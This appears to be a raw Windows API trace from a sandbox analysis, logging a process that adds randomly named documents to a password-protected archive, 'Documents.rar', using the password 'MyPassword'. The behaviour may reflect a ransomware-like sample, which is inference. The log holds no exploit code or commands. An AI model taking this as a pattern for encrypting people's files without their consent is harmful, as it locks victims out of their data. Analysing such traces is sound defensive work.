SetWindowTextW (hWnd=0x10282, lpString=" 0%") returned 1 [0067.940] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0067.940] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.940] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.940] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.940] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.940] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="AE1NPe45_G.xlsx") returned 15 [0067.940] SetWindowTextW (hWnd=0x10280, lpString="atEaVS6T.pptx") returned 1 [0067.941] GetTickCount () returned 0xa67477 [0067.941] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.941] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.941] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.941] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.941] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x238)) [0067.941] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.941] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14328186110) returned 1 [0067.942] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x14f73, lpOverlapped=0x0) returned 1 [0067.942] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b4fb3, nNumberOfBytesToRead=0xeb08d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b4fb3*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.942] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.942] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.942] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6b0, Size=0x48) returned 0x39db40 [0067.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.942] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6b0, Size=0x48) returned 0x39daf0 [0067.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.943] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.943] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.943] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6e0 | out: hHeap=0x2e0000) returned 1 [0067.943] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6b0 | out: hHeap=0x2e0000) returned 1 [0067.943] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a680, Size=0x48) returned 0x39db40 [0067.943] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.943] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.943] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.945] GetTickCount () returned 0xa67477 [0067.945] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14328515181) returned 1 [0067.945] GetTickCount () returned 0xa67477 [0067.945] GetTickCount () returned 0xa67477 [0067.945] GetTickCount () returned 0xa67477 [0067.945] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.945] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.945] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.945] ResetEvent (hEvent=0x1a4) returned 1 [0067.945] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.946] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.946] ResetEvent (hEvent=0x1a4) returned 1 [0067.946] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.949] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.949] ResetEvent (hEvent=0x1a4) returned 1 [0067.949] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.952] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.952] GetTickCount () returned 0xa67477 [0067.952] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14329205879) returned 1 [0067.952] GetTickCount () returned 0xa67477 [0067.952] GetTickCount () returned 0xa67477 [0067.952] GetTickCount () returned 0xa67477 [0067.952] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.952] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.952] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.952] ResetEvent (hEvent=0x190) returned 1 [0067.952] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.953] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.953] ResetEvent (hEvent=0x190) returned 1 [0067.953] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.953] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.954] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.954] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.954] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x6b8ea [0067.954] SetFilePointer (in: hFile=0x198, lDistanceToMove=97, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x6b94b [0067.954] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.954] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.954] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.954] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.954] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x15040, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x15040, lpOverlapped=0x0) returned 1 [0067.956] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.956] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.956] SetFilePointer (in: hFile=0x198, lDistanceToMove=440554, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x6b8ea [0067.956] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x6b8ea [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.956] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6b0, Size=0x48) returned 0x39daf0 [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.956] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6b0, Size=0x48) returned 0x39db40 [0067.956] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.956] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.956] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6e0 | out: hHeap=0x2e0000) returned 1 [0067.956] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6b0 | out: hHeap=0x2e0000) returned 1 [0067.956] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a680, Size=0x48) returned 0x39daf0 [0067.956] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.956] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x61, lpOverlapped=0x0) returned 1 [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a680 [0067.956] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x61) returned 0x3a1020 [0067.956] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.956] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.956] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x8098b [0067.956] CloseHandle (hObject=0x1b0) returned 1 [0067.956] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.956] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.956] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.956] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.956] FindFirstFileW (in: lpFileName="AtQu0 xTj.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.957] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.957] CreateFileW (lpFileName="AtQu0 xTj.docx" (normalized: "c:\\users\\whuoxysd\\documents\\atqu0 xtj.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.957] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.957] GetTickCount () returned 0xa67486 [0067.957] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.957] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.957] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.957] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.957] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="atEaVS6T.pptx") returned 13 [0067.957] SetWindowTextW (hWnd=0x10280, lpString="AtQu0 xTj.docx") returned 1 [0067.957] GetTickCount () returned 0xa67486 [0067.957] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.957] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.958] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.958] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.958] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x247)) [0067.958] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.958] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14329806706) returned 1 [0067.958] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x2fe3, lpOverlapped=0x0) returned 1 [0067.958] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a3023, nNumberOfBytesToRead=0xfd01d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a3023*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.958] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6e0, Size=0x48) returned 0x39db40 [0067.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.958] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6e0, Size=0x48) returned 0x39daf0 [0067.958] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.958] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.958] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a710 | out: hHeap=0x2e0000) returned 1 [0067.958] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6e0 | out: hHeap=0x2e0000) returned 1 [0067.958] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6b0, Size=0x48) returned 0x39db40 [0067.958] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.959] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.959] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.961] GetTickCount () returned 0xa67486 [0067.961] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14330108118) returned 1 [0067.961] GetTickCount () returned 0xa67486 [0067.961] GetTickCount () returned 0xa67486 [0067.961] GetTickCount () returned 0xa67486 [0067.961] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.961] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.961] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.961] ResetEvent (hEvent=0x1a4) returned 1 [0067.961] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.962] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.962] ResetEvent (hEvent=0x1a4) returned 1 [0067.962] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.963] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.963] GetTickCount () returned 0xa67486 [0067.963] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14330322194) returned 1 [0067.963] GetTickCount () returned 0xa67486 [0067.963] GetTickCount () returned 0xa67486 [0067.963] GetTickCount () returned 0xa67486 [0067.963] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.963] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.963] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.963] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.963] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.963] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x8098b [0067.963] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x809ed [0067.963] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.963] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.963] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.963] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.963] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x3010, lpOverlapped=0x0) returned 1 [0067.964] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.964] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.964] SetFilePointer (in: hFile=0x198, lDistanceToMove=526731, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x8098b [0067.964] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x8098b [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.964] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6e0, Size=0x48) returned 0x39daf0 [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.964] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6e0, Size=0x48) returned 0x39db40 [0067.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6e0 [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a710 [0067.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a710 | out: hHeap=0x2e0000) returned 1 [0067.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a6e0 | out: hHeap=0x2e0000) returned 1 [0067.964] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a6b0, Size=0x48) returned 0x39daf0 [0067.964] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.964] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x62, lpOverlapped=0x0) returned 1 [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a6b0 [0067.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x62) returned 0x3a1090 [0067.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.964] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x839fd [0067.964] CloseHandle (hObject=0x1b0) returned 1 [0067.964] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.964] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.964] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.964] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.964] FindFirstFileW (in: lpFileName="aZCuN2.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.964] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.964] CreateFileW (lpFileName="aZCuN2.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\azcun2.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.964] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.965] GetTickCount () returned 0xa67486 [0067.965] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.965] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.965] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.965] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.965] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="AtQu0 xTj.docx") returned 14 [0067.965] SetWindowTextW (hWnd=0x10280, lpString="aZCuN2.pptx") returned 1 [0067.965] GetTickCount () returned 0xa67486 [0067.965] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.965] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.965] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, 